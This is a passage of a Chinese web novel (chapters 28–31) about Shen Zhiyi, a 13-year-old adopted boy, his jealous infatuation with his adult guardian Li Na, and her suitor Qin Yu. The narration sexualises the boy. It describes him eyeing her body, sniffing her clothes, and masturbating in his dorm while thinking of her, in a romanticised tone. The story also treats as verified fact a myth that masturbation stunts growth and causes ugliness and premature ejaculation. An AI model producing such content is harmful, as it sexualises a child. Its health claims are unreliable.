她没眼看秦钰的领带：“你怎么真戴了，这么粉的颜色，配你的黑西装……我的天，我不能直视你……”
秦钰微笑，抬头挺胸，非常骄傲地露出那条粉色领带。
“我答应过你，会带给你看的，而且这是你帮我选的，我当然要戴。”
黎娜哭笑不得。
沈知逸拿出手机，上网搜索女生帮男生选领带什么意思。
浏览器给出的答案：领带就是希望把对方套住，如果一个女生送男生领带，就代表想做这个男生的女朋友。
沈知逸如同被人当头泼了盆冷水，一阵寒意从心底弥漫开来，蔓延至四肢百骸。
原来……姐姐想当他女朋友。
可是姐姐当了别人的女朋友，那他要怎么办啊……
沈知逸眼眶发热，视野内一片模糊。
28. 仰望神明
餐桌上气氛很好。
黎娜和秦钰都是从事珠宝行业，有说不完的话，自然顾不上在一旁闷头吃饭的沈知逸。
关于宝石的切割工艺，黎娜有很多问题要请教秦钰。
秦钰从小在家族里耳濡目染，后来进入公司更是学到了丰富的专业知识，能完美解决黎娜抛出的问题。
一顿饭吃下来，黎娜受益匪浅，都不好意思让秦钰请客了。
她站起身来：“我去趟卫生间。”
秦钰说：“好。”
黎娜下楼去前台。
前台小姐面带微笑：“请问有事情需要我帮忙吗？”
黎娜回以微笑：“结账。”
“好的，请稍等。”
前台小姐在电脑上查到她的订单。
“已经结过账了。”
黎娜顿住：“结过账了？谁结的？”
前台小姐说：“是一位姓秦的男士。”
那就是秦钰了。
刚才吃饭的时候没见秦钰离场，黎娜问：“什么时候结的？”
前台小姐报了一个时间。
黎娜拿出手机，看她跟秦钰的聊天记录，应该是秦钰一到餐厅就把账结了。
楼上，秦钰用餐布擦干净嘴巴，看向身旁的沈知逸。
“我们该下楼去找你姐姐了。”
沈知逸立刻站起来，拿好黎娜的随身物品，扭头就往楼下走，看起来一秒钟都不想跟他多待。
秦钰腿长，几步就能追上他。
“你今年多大？”
沈知逸冷着脸：“初一。”
“这么小啊。”
沈知逸被刺激到：“你才小！”
秦钰笑容意味深长：“再小也比你大。”
别以为他听不出来，这个“小”字里面还包含着其它的意思。
沈知逸握紧拳头，走到他前面，飞奔下楼，差点撞到正要往楼上走的黎娜。
于是，偷偷下楼买单的黎娜被抓了个正着，尴尬地笑了几声。
秦钰慢悠悠走下来：“我说过请你的。”
黎娜挠头：“那多不好意思……”
“有什么不好意思的。”秦钰跟她并肩走在一起，西装外套时不时擦过她的胳膊，“去街上散散步吧。”
吃人的嘴软，黎娜说：“好。”
三人离开餐厅。
秦钰看了眼手表：“要不让你弟弟先回去？”
黎娜：“哈？”
沈知逸脸色发白，狠狠地瞪向秦钰，虽然个子没人家高，但气势一点都不少，大有一副要鱼死网破的架势。
秦钰看他这样，儒雅地笑了一下：“开个玩笑，不会让你走的。”
沈知逸意识到自己被耍了，气焰瞬间被浇灭，胸口像灌了水泥一样，堵得很难受。
年龄果然是一道不可跨越的鸿沟。
刚开始三人并排走在一起，后来走到窄路，或者是对面有人走过来，只能容纳两个人通过的时候，插不上大人话题的沈知逸就会被挤到后面。
黎娜和秦钰越走越远，他赶紧追上去，回到黎娜身边，还没待热乎呢，又被挤到后面去了。
这样反复了几次，渐渐的，沈知逸就跟在他们后面，不再往前面走了。
要把姐姐拱手让人吗？
明知道对方各方面都比他优秀的情况下，他要自私地霸占着姐姐不放吗？
他有什么资格？
一个从这个城市里最肮脏最阴暗的巷子里爬出来的流浪狗，有什么资格去触碰温室里的玫瑰花？
沈知逸鼻子一酸，眼泪流下来。
他不明白为什么这个人是他，如果他从小就能拥有一个完整的家庭，能接受教育，能得到父母的庇护，而不是住没有窗户和门的拆迁房，捡别人扔掉的垃圾吃，冬天只能抱着小狗取暖。如果他能像那个男人一样，一出生就在别人努力几辈子都到达不了的高度上，他是不是就能离姐姐近一点了。
他为什么是这样的。
比起那个男人，他更讨厌的是自己。
“沈知逸，快点跟上来，别走丢了！”
黎娜一回头，看沈知逸落下那么远的距离，赶紧喊他。
沈知逸回过神来，所有思绪清空，用手背擦掉脸上的眼泪，小跑几步跟上去，低头看着地面。
黎娜揉了揉他的脑袋。
“我有礼物送给你。”
沈知逸抬眸看向黎娜，被泪水泡过的眼睛亮晶晶的，眼周皮肤有些泛红。
“有礼物给我？”
黎娜点头，发现他发红的眼睛，眉心微皱。
“你哭了？”
沈知逸慌乱低头，打了个哈欠，眼里又溢出些泪水。
“我没哭，我困了。”
秦钰看向他：“不早了，我送你们回家吧，你们住在一起？”
“不用了，我车子就停在那里。”黎娜指了个方向。
秦钰微笑：“好，路上注意安全，改天见。”
黎娜：“今天太感谢你了。”
秦钰：“都是熟人，不用这么客气。”
沈知逸揪住黎娜的衣摆，轻轻地拽了几下，想快点回家。
黎娜摘掉他的手：“那我们先走了。”
“好。”
黎娜带着沈知逸离开。
秦钰站在原地，看着他们的背影，从烟盒里抽出一根烟点上，白雾朦胧了他的面容。
他可没听说过黎娜还有个弟弟。
回到家，客厅里多了一个很大的东西，用黑绒布盖着，沈知逸看轮廓就知道是什么了。
黎娜说：“你自己掀开看。”
沈知逸站着没动：“多少钱买的？”
黎娜回忆着：“好像是六十六万……美元？记不太清了。”
沈知逸点头：“我会挣钱还你。”
黎娜愣住，忽然笑出声：“你干什么？这是我送你的礼物，礼物不需要还。”
沈知逸语气坚定：“我以后会挣钱还你。”
他一字一顿似乎是在发誓，黎娜脸上的笑容消失了，低眸看到他皮包着骨头的肩膀，那么瘦，那么可怜的小孩，要靠自己挣到六十六万美元，一下子变得更可怜了。
“没这个必要，你是我弟弟，如果这都要算的话，那之前给你花的钱还要多，难道你都要还？”
沈知逸郑重地点头：“我会把你花在我身上的钱都记好，等我长大有了工作，我会都还给你。”
钱还清了，他们之前的关系就能平等一点了吧。
沈知逸心里是这么想的，但黎娜完全不能理解。
她觉得很莫名其妙：“什么意思？你想把钱都还清了，从此以后跟我们就没有关系了？”
沈知逸说：“不是。”
“那你这是干什么？”
沈知逸没说话，低头看钢琴。
黎娜深吸口气：“没必要还钱，虽然我们没有血缘关系，但我爸还是很喜欢你的，他愿意在你身上花钱
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，你就当他是你的亲爸爸好了，花钱的时候不用有负罪感，这是我们自愿给你的。”
沈知逸掀开黑绒布，一架纯白色的钢琴出现在眼前。
他低声说：“可是他不是我爸爸，你也不是我姐姐。”
黎娜眸光一冷：“你说什么？”
沈知逸抿紧嘴唇。
他想说的是，我不想当你弟弟，真的不想，永远都不想。
可是上次仅仅一句“等我长大”就让黎娜火冒三丈地质问他，他不敢想象当自己说出这句话的时候，黎娜会是什么表情，他真的很害怕。
如果失去了弟弟这个身份，他就不能留在黎娜身边了。
沈知逸背对着她，眼泪控制不住地往外涌，滴到白色的钢琴上特别明显，他用手去擦，钢琴上的没擦干净，手上也被滴了泪水。
他无助到极点。
怎么办，会被姐姐发现，可是眼泪控制不住。
他自暴自弃地趴到钢琴上，将满是泪水的脸埋起来，瘦削的肩膀微微颤抖，有细小的呜咽声从他喉咙里钻出来，回荡在房子里，展示着他的脆弱和绝望。
黎娜被他吓得不轻，不明白这小孩好端端的怎么突然哭了。
她上前轻拍沈知逸的后背。
“你今天怎么这么奇怪？”
“刚才在街上叫你，你也哭了对吧？还跟我撒谎说困了。”
“学校里是不是有人欺负你？”
沈知逸摇头，压住声音里的哽咽，尽最大全力让语气平缓，问黎娜：“今天是你们第一次吃饭吗？”
黎娜皱眉：“你们？”
沈知逸说：“就是刚才那个男的。”
黎娜：“不是，之前吃过一次，我好像还拍照片发给你了，你还问我来着。”
沈知逸趴在钢琴上，肩膀颤抖的幅度小了一点。
“我以后也会请你吃饭的。”
“你想吃什么都行，我都会给你买。”
黎娜拍他后背的手一顿，慢慢把手收回来，若有所思地看着他。
“沈知逸，要不你以后跟着你黎叔叔去住吧。”
沈知逸身体一抖，崩溃低吼：“你不要我了？！”
“不是不要，毕竟你是个男孩子，总跟我住在一起不太好……”
沈知逸摇头：“我哪里都不去，我就要住在这里，这里才是我家。”
黎娜叹气，站起身来。
“行，这是你家，我搬走。”
有离开的脚步声在耳边响起。
沈知逸慌乱蹭掉眼泪，从钢琴上抬起头来，眼睛被血丝布满，特别红，鼻尖也是红的，嘴唇有些颤抖。
黎娜回头看了他一眼，心微疼，随即毫不犹豫地转身上楼。
沈知逸立刻追上去，怕她真的离开，他挽留不住，手忙脚乱地从身后抱住她，等他反应过来，已经来不及了。
腰上那道力量让人难以忽视，黎娜仰头望着天花板，深深地吸了口气。
完了。
全完了。
这个小孩……她真是无话可说。
沈知逸松开她，额头贴着她的后背，泪水打湿她的衣服。
他抽噎着：“姐姐，我不想，我不想……”
黎娜冷声反问：“你不想什么？沈知逸，你想好了再说话！”
沈知逸闭紧嘴巴，眼泪止不住。
他想说，姐姐，我不想再仰望你了。
仰望之间，是一段永远都不可能跨越的距离。
29. 公狗觉醒
黎娜回到卧室，轻轻地关上门，背靠到门板上，平复着自己的情绪。
真的不知道该怎么办。
她拿出手机，给温琳发消息。
黎娜：【琳琳宝贝。】
温琳：【我今天没拉屎，很烦，别吵我。】
黎娜：【你别烦，我替你拉了。】
温琳：【……】
温琳：【有屁快他妈的放！我在做拉屎操！】
黎娜：【我家那个小孩有点怪怪的，我感觉他喜欢我。】
温琳：【哦吼，这是什么年度大瓜，我啃啃啃啃！】
黎娜：【神经病。】
温琳：【睡了他！娜娜冲啊！】
黎娜：【……我报警抓你。】
温琳：【上次看他替你喝酒，我就觉得不对劲了，我还提醒过你。】
黎娜：【！！！】
黎娜：【有那么早吗！】
黎娜：【琳琳宝贝，我该怎么办，要不我搬走吧，搬的离他远一点。】
温琳：【搬走？那我也要一起搬了，娜娜我不想跟你分开，呜呜呜呜……】
温琳：【那不是你家吗？为什么是你搬走，让他滚啊。】
黎娜：【他不走，我搬过去跟你一起住吧。】
温琳：【好，你搬过来，我砍死你。】
黎娜：【……】
温琳：【他不是住宿么，每个星期就回来两天，没事的，别搬了，你搬了就离我远了，我会很寂寞的……】
黎娜：【你可以和我一起搬。】
温琳：【我想拉屎。】
黎娜关掉手机。
早上起来，沈知逸去卫生间刷牙洗脸，看到镜子里的自己，眼睛又红又肿，都不好看了。
他垂下眸子，不知道该怎么面对姐姐，也不确定姐姐到底察觉到了没有，心里很没底。
洗漱完，他下楼吃饭。
餐桌上什么都没有，他想起昨天晚上黎娜说营养师回老家了。
沈知逸想用牛奶泡点燕麦凑合一顿，忽然想到姐姐也要吃早饭，总不能让姐姐跟着他吃这个。
沈知逸回房间拿手机，上社交软件查菜谱，把营养师的围裙穿到身上，往锅里倒了点油，磕了个鸡蛋进去。
刚开始还是很害怕的，油会到处乱崩，他用锅盖挡着不敢靠近，慢慢的，荷包蛋就糊了。
第二个荷包蛋就漂亮多了，沈知逸盛到盘子里，摆上水果和坚果，端到餐桌上，放好勺子，然后自己回厨房里吃掉那个糊鸡蛋，泡了杯牛奶麦片喝。
黎娜下楼，看到从厨房里出来的沈知逸，微微一愣，随即收回视线，当做没看到，径直朝大门走去。
沈知逸低着头，偷偷看她，见她穿鞋一副要出门的样子，忍不住喊她。
“姐姐……”
黎娜背对着他，单脚站立，微弯下腰，调整鞋子上的绑带，她卷发披在肩后，腰细腿长，曲线曼妙，随便一个姿势都引人遐想。
沈知逸看得脸都红了，想到昨天晚上抱住姐姐的腰，真的好细好软，两个手臂完全能环住，他甚至能碰到自己的手肘。
黎娜头都没回，语气很不耐烦：“干什么？”
沈知逸看着她的背影：“你要出门吗，要不要……吃早饭？”
他声音逐渐低下去。
黎娜回头，沈知逸迅速垂眸。
黎娜视线刻意越过他，看向餐桌上那盘食物。
“你做的？”
沈知逸低着头，轻轻地“嗯”了一声。
黎娜挑眉，可以啊这小孩，十三岁就能开火了，她十三岁连厨房都没进过。
一想到这饭是沈知逸做的，她心里就特别排斥。
“我没胃口，不想吃。”
沈知逸低着头，脸色发白。
黎娜打开门，一条腿刚跨出去，身后又响起沈知逸的声音。
“你出门是要去找别人吗？是不是昨天晚上那个男——”
“关你什么事，管好你自己。”
黎娜摔上门。
沈知逸站在原地，眼睛瞪得大大的，泪水从眼底浮上来，逐渐蓄满眼眶滚落出来。他用手捂住眼睛，蹲到地上，抱紧自己的双腿，脸埋在膝盖上，低低地抽泣。
为什么姐姐要这样对他……
沈知逸在家里做作业练琴，给陈研发信息。
沈知逸：【姐姐应该知道我喜欢她了，她突然对我特别冷淡。】
打字的时候，沈知逸眼睛迅速变红，差点忍不住哭出来。
陈研：【你别喜欢她了，她比你大那么多。】
沈知逸没回复。
陈研：【等你十八岁了，她白头发都要长出来了。】
后面这条信息没能成功发送出去了，陈研看到旁边有一个红色的感叹号，沈知逸竟然把他拉黑了。
他说啥了，他又看了一眼自己发的信息。
问题可能出在“你别喜欢她了”这句话上。
他真是服了，区区一个女人。
一直到天黑，黎娜都没有回来。
餐桌上放着沈知逸早上做的饭，还有中午餐厅送过来的外卖，肯定是姐姐给他点的，姐姐心里还是惦记着他的，他的不安稍微缓解了一些。
到晚上九点钟，沈知逸坐不住了，把陈研从黑名单里放出来。
沈知逸：【我姐姐现在还没回来，我要不要给她打电话？】
陈研：【……】
沈知逸：【……】
陈研：【……】
沈知逸：【你别这样行不行，我真的很着急，我要去给姐姐打电话了。】
他退出聊天框，陈研的信息又跳出来了。
陈研：【千万别打，这个点说不定她在跟男人上床，你想听到你姐姐被人干的声音吗？】
沈知逸手机掉到地上。
他手指颤抖地捡起来，再次把陈研拉黑。
姐姐才不会跟男人做那种事情。
沈知逸在心里这么告诉自己，但又控制不住胡思乱想，万一呢？
就在他坐立难安的时候，玄关传来开门声，有高跟鞋落在地上的声音，沉稳有力，节奏极好，是姐姐。
沈知逸立刻站起身来，脚步声越来越近，仿佛踩在他心尖上，他心脏跳得飞快，又坐回去，手足无措地看着笔记本电脑，余光一直注意着玄关的走廊。
黎娜出现在他视野之内，沈知逸心脏瞬间提到了嗓子眼，再也坐不住了，站起来朝她走过去。
“你回来了。”
在黎娜看向他时，他视线飞快地移向别处，可余光里还是能看到她
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，他慢慢低下了头，看着自己的脚尖。
黎娜收回视线，看到餐桌上还有早上他做的那盘食物，中午给他点的外卖也是原封不动，家里又没人做饭。
“你一天没吃饭？”
沈知逸眼圈发红：“我吃了早饭。”
黎娜：“那你午饭和晚饭都没吃？”
沈知逸抠着手指头：“我在等你回来一起吃。”
“我已经吃过了，以后吃饭不用等我。”
黎娜脱掉防晒衣还有袜子，里面穿着黑色细吊带和紧身牛仔裤。那件吊带是短款的，肩膀和胸口露出大片肌肤，一抬手臂，衣服就往上跑，露出腹部。
以前觉得没什么，把沈知逸当成小孩，现在就觉得特别别扭，穿着这身衣服，一秒钟都不想在沈知逸面前多待。
她站直身体，不做任何大幅度动作，语气很凶：“两顿没吃，你可真厉害，不想长高了？”
沈知逸摇头。
黎娜往楼上走：“明天我找人送你回学校，你以后都留宿，双休日不用回来了。”
沈知逸抬头望向她。
“我不想留宿。”
“你不想？”黎娜咬紧后槽牙，一字一顿反问回去，充满了压迫感。
沈知逸垂下眸子，不自觉放低声音，气势弱她一大截，但还是坚定不移地告诉她：“我要退宿。”
黎娜上楼，冷笑一声。
“行，你退宿吧，退完你住你黎叔叔家。”
沈知逸脸色瞬间惨白，焦急地朝她走了几步又停下来，望着她的背影，眼眶升温，嘴唇控制不住地颤抖着。
“姐姐，你能不能别这样对我？”
“能不能……稍微对我好一点？”
黎娜听他声音都快哭了，心里也难受得要命，这小孩为什么要这样呢，为什么就是不能好好地当她弟弟呢？
“我对你已经够好了，要不是我，你早死在外面了。”
“沈知逸，你要知足，不要太贪心。”
沈知逸眼泪划过抿紧的嘴唇，挂在下巴上摇摇欲坠。
是啊，是他太贪心了。
明明一开始有好吃的就很开心了，后来就隐隐期待能见到姐姐，被姐姐领养，每天都能和姐姐待在一起……
当一些小小的愿望被姐姐满足，他就会变得越来越贪心，甚至想独占姐姐，让姐姐是他一个人的。
可是他配吗，和那个请姐姐吃饭的男人比起来，他有什么？他什么都没有，凭什么跟姐姐在一起。
姐姐值得更好的人，不可能仅仅是因为他喜欢，就要跟着他吃苦，他太贪心太自私了。
沈知逸背过身去，吸了吸鼻子，深吸口气压住颤抖的喉咙，尽量让语气平缓。
“嗯，姐姐，我知道了。”
“你是我姐姐。”
“你永远都是我姐姐。”
喉咙似乎被这些话割伤，沈知逸说完就哽住了，忽然发不出声音，心口又闷又痛，喉咙也紧绷得很痛，身体很难受，似乎变成了情绪的容器。他难过到想死。
黎娜沉沉地吐出口气，浑身轻松了不少。
“你知道就好。”
“小知逸，能当你姐姐，我真的很开心。”
“希望我们能一直这样下去。”
以姐弟的身份。
30. 公狗觉醒
到星期天早上，沈知逸很晚才起床，黎娜已经不在家了。
昨天餐桌上的那些饭，后来他都放到冰箱里了，但是现在打开来看，里面什么都没有。
他拿起手机，点进和黎娜的聊天框，犹豫了几秒，又退出来，再点进去，然后放下手机，又拿起来，还是发了一条信息过去。
沈知逸：【姐姐，冰箱里的饭不见了，你扔掉了吗？】
黎娜：【外卖扔掉了，你做的我吃掉了。】
姐姐吃了他做的饭！
沈知逸嘴角上扬。
沈知逸：【外卖为什么要扔掉，我放冰箱里了，不会坏。】
黎娜：【里面有蔬菜，蔬菜不能隔夜吃，你以后不要吃隔夜饭，都吃最新鲜的。】
沈知逸：【嗯，姐姐，我知道了。】
他放下手机，手机又响了。
黎娜：【锅里我蒸了鸡蛋和南瓜，你吃掉。】
沈知逸受宠若惊，姐姐从来没进过厨房，竟然会给他做早饭。
他抱着手机跑进厨房，掀开锅盖，那个被蒸到膨胀的鸡蛋慢慢缩回去，变得像蜂窝一样，边缘有些发灰，有点蒸过火了，跟他在学校里吃到的完全不一样。
他带上隔热手套拿出来，端到餐桌上，刚才有多开心，现在就有多难过。
姐姐会吃他做的饭，还给他做饭吃，是因为他说要当她弟弟。
昨天姐姐就不吃，还对他特别凶，特别不耐烦。
吃完饭快中午了，黎父的司机给沈知逸打电话，叫他收拾好东西准备回学校。
沈知逸路过客厅，看到黎娜昨天晚上扔在沙发上的外套，钟点工还没有收走。
他缓步走过去，半蹲在沙发前，四处张望一圈，没发现人，便将脸埋进去，轻轻地嗅了嗅。
只有姐姐的味道，没有男人的味道。
姐姐昨天晚上没跟男人上床。
沈知逸展露笑颜，把黎娜的衣服拿起来抱在怀里，用脸蹭了蹭，很柔软的布料，闻一闻，还是那股甜甜的花香，让人特别安心。
回到学校，沈知逸去琴房练习钢琴。
记得老师说过他有天赋，但他对天赋这个东西有些云里雾里，他只知道自己弹琴的时候内心很平静，有些旋律对应上了他思念姐姐的心情，甚至弹着弹着心里就难受起来了，会特别想哭。
他才刚离开姐姐，就特别想她了，可是还要熬过五天，不对，不止五天，姐姐让他留宿，他都不知道下一次见面是什么时候。
弹完一曲，沈知逸放下手指，合上钢琴盖，站起身来，一回头看到音乐老师竟然站在他身后。
他主动打招呼：“老师好。”
音乐老师双手环胸，面色严肃，见他主动打招呼，目光里多了几分柔和，与课堂上相比变得平易近人了许多。
“来练琴？”
沈知逸点头。
音乐老师说：“下周学校要组织钢琴演奏会，你要不要参加？”
沈知逸不可置信：“我吗？还是不参加了吧，我弹的又不够好……”
“对自己这么没有信心吗？我觉得你弹得很好，可以参加演奏会。”
沈知逸忙摆手：“真的不好，我还要多练习。”
“你对自己太没有自信了，机会摆在你眼前都不知道去争取，别人没有你弹得好都敢报名参加，你为什么不敢？”
音乐老师有些咄咄逼人了，颇有几分恨铁不成钢的意味。
沈知逸用力抠着手指头，低着脑袋说：“我怕弹错……”
“你怎么知道自己会弹错？”
沈知逸：“我感觉——”
“没有你感觉，你还没弹，应该不知道自己会不会弹错。在一件事情还没有产生结果之前，我喜欢先去试想自己肯定能够做到。”
沈知逸没吭声，看着自己的鞋尖。
音乐老师拍拍他的肩膀。
“试一试吧，我相信你会给我们带来一场精彩的演奏会。”
沈知逸彻底放弃挣扎：“那好吧，我参加。”
音乐老师满意地点头，离开音乐教室前拍了下脑袋，似乎想起了什么事情。
“对了，演奏会可以邀请家长来观看，可以给你拍点照片留作纪念，而且将来如果去国外上学要简历的话，你还可以把演奏照片加进去，对你的评估会有一定的帮助。”
“邀请家长？”
想到黎娜，沈知逸心脏猛然收紧，带来一阵窒息的感觉。
音乐老师说：“对，我能感觉到你跟钢琴之前有种说不清道不明的联系，你将来也想从音乐方面发展吧？”
沈知逸才十三岁，未来对于他来说是很遥远的事情，往音乐方面发展吗？他也不能确定，不过照现在的情况的看来，他除了钢琴，就没有其它更擅长的东西了。
“可能吧。”
他不能保证，只能这样回答。
音乐老师也没再刁难他，让他填了一张报名参加演奏会的表格，再叮嘱他要好好练琴，就离开琴房了。
沈知逸回到宿舍，拿出手机，想问问姐姐下周有没有空来学校看他演奏，他点进微信，看到朋友圈上有个小红点，还有姐姐的头像。
姐姐发朋友圈了。
他迅速点开，在看清朋友圈的内容之后，发亮的眼睛迅速黯淡下去，失去了光彩，如同一颗黑色的磨砂玻璃。
黎娜的文案内容：【好帅，又多了一个新老公。】
文案下面有一张图片，是一个穿着黑色西装，衣领大敞的外国男模，金发碧眼，眉眼深邃，袖子卷到肘部，露出一截肌肉线条明显的手臂，身材特别好，领口隐约露出胸肌的形状，年纪看上去接近三十，铺面而来的熟男气息。
跟沈知逸是完全相反的类型。
陈研接水路过，瞥了眼沈知逸的手机屏幕，目光又回到沈知逸身上，上下打量着，喝了一口水，嘴里蹦出两个字。
“细狗。”
沈知逸脸色发冷：“你说谁？”
陈研又喝了一口水：“你觉得呢？你手臂有他粗？胸肌有他大？还有……”
陈研手指戳到他屏幕上，往下滑，露出男人的全身，黑色西裤有些紧，线条很明显。
“我靠，好大！”
陈研低头看了眼自己的，自卑到要去角落里画圈圈了。
沈知逸关掉微信，进去浏览器搜索：男生怎么让下面变大？
浏览器：假体植入术，再造术，增粗手术……
沈知逸：“……”
陈研又凑过来，沈知逸迅速关掉手机，已经晚了。
陈研意味深长地又喝了口水：“没必要做手术，我们还没发育好，以后会慢慢长大的，别着急。”
沈知逸没搭理他，回忆着刚才看到的文字，自言自语着：“要多吃牛
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羊肉，富含锌的食物……”
陈研：“……”
黎娜发的那条朋友圈，是仅沈知逸可见，就是为了告诉他，他不是她喜欢的类型，让他死心。
她退出微信，秦钰又发来消息。
秦钰：【下班后一起去吃晚饭吧。】
秦钰发来一条餐厅位置。
秦钰：【我预约好了。】
黎娜挺想笑的。
她又不是傻子，当然能看出秦钰怀的是什么心思。
黎娜：【好，我大概六点钟下班。】
还剩下最后一次机会，要是这次没获得辛西娅的认可，她就要回材料室打铁了。
黎娜将最终版的设计稿发送到辛西娅邮箱，就靠到椅子上，闭着眼睛等待。
没想到竟然一觉睡过去，醒来都到下午了，黎娜赶紧挪到电脑前，邮箱显示有新邮件进来。
辛西娅：【可以。】
黎娜高兴得差点蹦起来。
到下午六点钟，黎娜准时出现在餐厅。
餐厅里一个人都没有，她生出一种包场的错觉，找到前台小姐，报秦钰的名字。
前台小姐将她领到楼上靠窗边的位置，能看到天边似火焰燃烧的夕阳，高架上如小溪流淌般的车辆，她拿出手机拍了张照片。
身后有柔软的东西轻轻碰了她几下，她回头，视野内闯进一片娇艳的深红，是一束巨大的玫瑰花。
黎娜不自觉站起来，用双手接住。
玫瑰花后面是秦钰温润儒雅的笑容，他穿着黑色西装，上面一条褶皱都没有，完全不是上完一天班的状态。此刻的他看起来非常工整清爽，仿佛精心打扮过。
“吓到了你吗？”秦钰微笑。
黎娜抱着花，跟抱了个烫手山芋似的，避开他满含笑意的目光，看着怀里的玫瑰花。
“你这是干什么？送我玫瑰花？你不会要跟我告白吧？”
她开门见山，用一种开玩笑的语气，还带着些许的狡黠，既不会让自己显得自作多情，又缓和了此刻逐渐走向尴尬的氛围。
秦钰看着她，不答反问：“那我告白的话，你会答应我吗？”
黎娜抱着花转身坐回去，把玫瑰花放到旁边的位置。
“现在答应你，会显得我特别好追，所以我要明天晚上之前再回复你。”
秦钰坐到她对面，双手交叉握在一起，含笑的眼睛看着她，模样特别斯文。
“你一点都不考虑我等待期间的感受，我今天晚上会睡不着觉的。”
黎娜哑然失笑：“至于吗？”
秦钰说：“如果你晚上唱歌哄我睡觉的话，我应该能睡着。”
黎娜瞪他一眼：“我给你唱大悲咒，超度你！”
秦钰笑得肩膀颤抖，用手背挡住上扬的嘴唇。
“你生气的样子好可爱。”
服务员陆续上菜，他们没有再继续刚才的话题，都在聊珠宝设计相关的，不知不觉间这顿饭就吃完了。
秦钰拿起西装外套：“我送你。”
“不要，送到了，我怕你要去我家喝茶。”
黎娜走在前面。
秦钰在后面望着她背影，嘴角弧度落不下来。
开车回到家，黎娜抱着玫瑰花下车，旁边正好有一个垃圾桶。
她把玫瑰花丢进垃圾桶里，拍了拍手上并不存在的灰尘，转身走了。
31. 公狗觉醒
宿舍熄灯了，陈研翻来覆去睡不着觉，听着隔壁床传来细微的动静，已经快半个小时了。
他一脚把被子踹飞。
“沈知逸，你他妈别弄了，好好睡觉行不行！”
沈知逸动作一顿，盖在身上的被子不再起伏，他沉默几秒，抱紧怀里的枕头，轻声说：“我想姐姐。”
“想姐姐，你就奖励自己？”
沈知逸难为情地将脸埋进被子里，轻轻地“嗯”了一声。
其实他已经很努力再控制声音了，但是很舒服的时候还是会忍不住。
陈研要抓狂了：“你去厕所弄行不行，弄完了再出来。”
沈知逸闷声说：“我弄完了……”
陈研：“你少弄点，弄多了会变丑，还会影响身高，将来还可能会早/泄。”
沈知逸被吓到，从被子里钻出来，面朝着陈研的方向，很焦急地问：“真的吗？会变丑，会长不高，还会早/泄？”
“你自己上网去查，看我有没有在骗你。”陈研翻了个身。
沈知逸拿起手机，上浏览器搜索危害，是真的！真的会变丑，会长不高，以后还会早/泄！
可是这样真的很舒服，每次偷偷想到姐姐，就会变得更舒服，舒服中还伴随着一丝令人上瘾的羞耻，沈知逸脸上浮现一抹潮红。
自从报名了钢琴演奏会，沈知逸就没再上过文化课了，一直在琴房练琴，晚上还要被陈研拽去打篮球，每天回宿舍都是一身汗臭味。
洗完澡，沈知逸抱着手机给黎娜发消息。
沈知逸：【明天学校有钢琴演奏会，我报名参加了，你要来看吗？】
黎娜没回。
沈知逸：【老师说家长可以来学校，你要不要来？】
黎娜：【几点？】
沈知逸：【下午两点。】
黎娜：【好。】
沈知逸：【嗯嗯。】
沈知逸放下手机，嘴角带着浅浅的笑。
一想到明天就要见到姐姐了，他兴奋得一整个晚上都没怎么睡觉，早上起来脑袋有点发沉发晕，但是一点不难受。
他元气满满，跟坐在床上发呆的陈研说：“那我去练琴啦，下午演奏会就要开始了！”
陈研身体醒了，魂还没醒，楞楞地点了下头，闭上眼睛往后一倒，又睡过去了。
吃完早饭，沈知逸去琴房，看到几个练琴的同学，都穿着黑色西装，领口打着蝴蝶结，看起来跟大人一样。
“沈知逸，你的演出服在这里。”音乐老师拿起桌上的黑色西装递给他，“去卫生间换上吧。”
沈知逸双手接过来，乖巧地点头：“谢谢老师。”
音乐老师面带微笑，小声跟他说：“今天要加油哦，相信自己。”
沈知逸抱着衣服：“嗯！”
衣服很合身，他换完出来，音乐老师带着他们去演奏会排练，时间很快就到了下午。
演奏厅里人越来越多，变得热闹了起来，音乐老师不允许他们再往舞台上去了，叫他们抽号码牌，在后台排队等待。
主持人在舞台上念开场白。
沈知逸拿着手机发消息。
沈知逸：【姐姐，你来了吗，演奏会快开始了，我是7号。】
黎娜没回，沈知逸一直盯着手机屏幕，眼睛都有点发干了。
是没看到信息吗，还是故意不回他，明明昨天答应过他的……
钢琴曲时间不长，排在前面的人越来越少，很快就轮到了沈知逸。
音乐老师朝他伸手：“手机先放下吧，演奏会不允许带手机。”
“好。”
沈知逸把手机交给老师。
老师接过来，看到屏幕亮了一下。
备注是姐姐：【不去了，有事。】
怕影响沈知逸发挥，老师什么都没跟他说，把手机放到一边，找了个东西盖好。
主持人念到沈知逸的名字。
沈知逸掀开帘子，走上舞台，灯光紧跟着他。他有段时间没理发了，小卷毛盖住了眼睛，后面也长到了脖子的位置，穿着黑西装，颇有几分艺术家的风范，侧脸弧度显出些棱角，带点少年的稚嫩和青涩。
乐谱已经提前放好了，他翻到自己要演奏的曲目，等主持人介绍完，全场寂静无声。
他手指落到琴键上，灵活地弹奏出一段前奏，似细水长流，逐渐汹涌，他完美无瑕地衔接第二段，似齿轮转动，每一个音符都卡在点上，任由他掌控调动。
渐入佳境，沈知逸往台下看了一眼，人太多了，找不到姐姐，而且他不知道姐姐来了没有。
他练了那么久的琴，做的那么多的准备，鼓起那么大的勇气，就是为了让姐姐看到他。
一曲结束，台下响起掌声，沈知逸内心却无比平静，如同一口井里的死水，没有丝毫生机。
他低着头，卷毛挡住眼睛，落寞地离开舞台。
掀开帘子，面前立着一个人，他低头绕过去，后衣领被人抓住了，领口紧紧地勒在他脖子上。
“沈知逸。”
黎娜声音低沉性感，带着不怒自威的气势。
沈知逸身形一顿，以为自己听错了，他转过身去，目光触及黎娜那张面无表情的脸，心脏剧烈收缩。
漆黑幽暗的眼睛里如同被人扔进去了一把火，瞬间燃烧起光亮，沈知逸张开双臂，扑进黎娜的怀里。
“姐姐……”
我差点以为你不来了。
黎娜身体僵硬，在这么多同学和老师面前，又不好推开他，只能也抱住他，用手摸了摸他柔软的小卷毛。
“本来有事的，想了想还是过来一趟吧，工作回去再做也可以，你的演奏会错过了就不知道下次是什么时候了。”
沈知逸闻着她的衣服上的味道，特别安心，之前堆积在心上的阴霾一扫而空，浑身轻松了不少。
他在黎娜怀里点了点头。
黎娜推开他，抽出一张湿纸巾擦着他额头上的汗。
沈知逸眼睛湿漉漉的，似乎被水浸泡过，一眨不眨地望着她，卷毛微微盖住眼睛，皮肤白皙，有点日系美少年的感觉，也有点像一条小金毛犬，可爱又帅气。
他的眼神让黎娜很有压力，一心只想逃离，但她的目的还没有达到，现在还不能临阵脱逃。
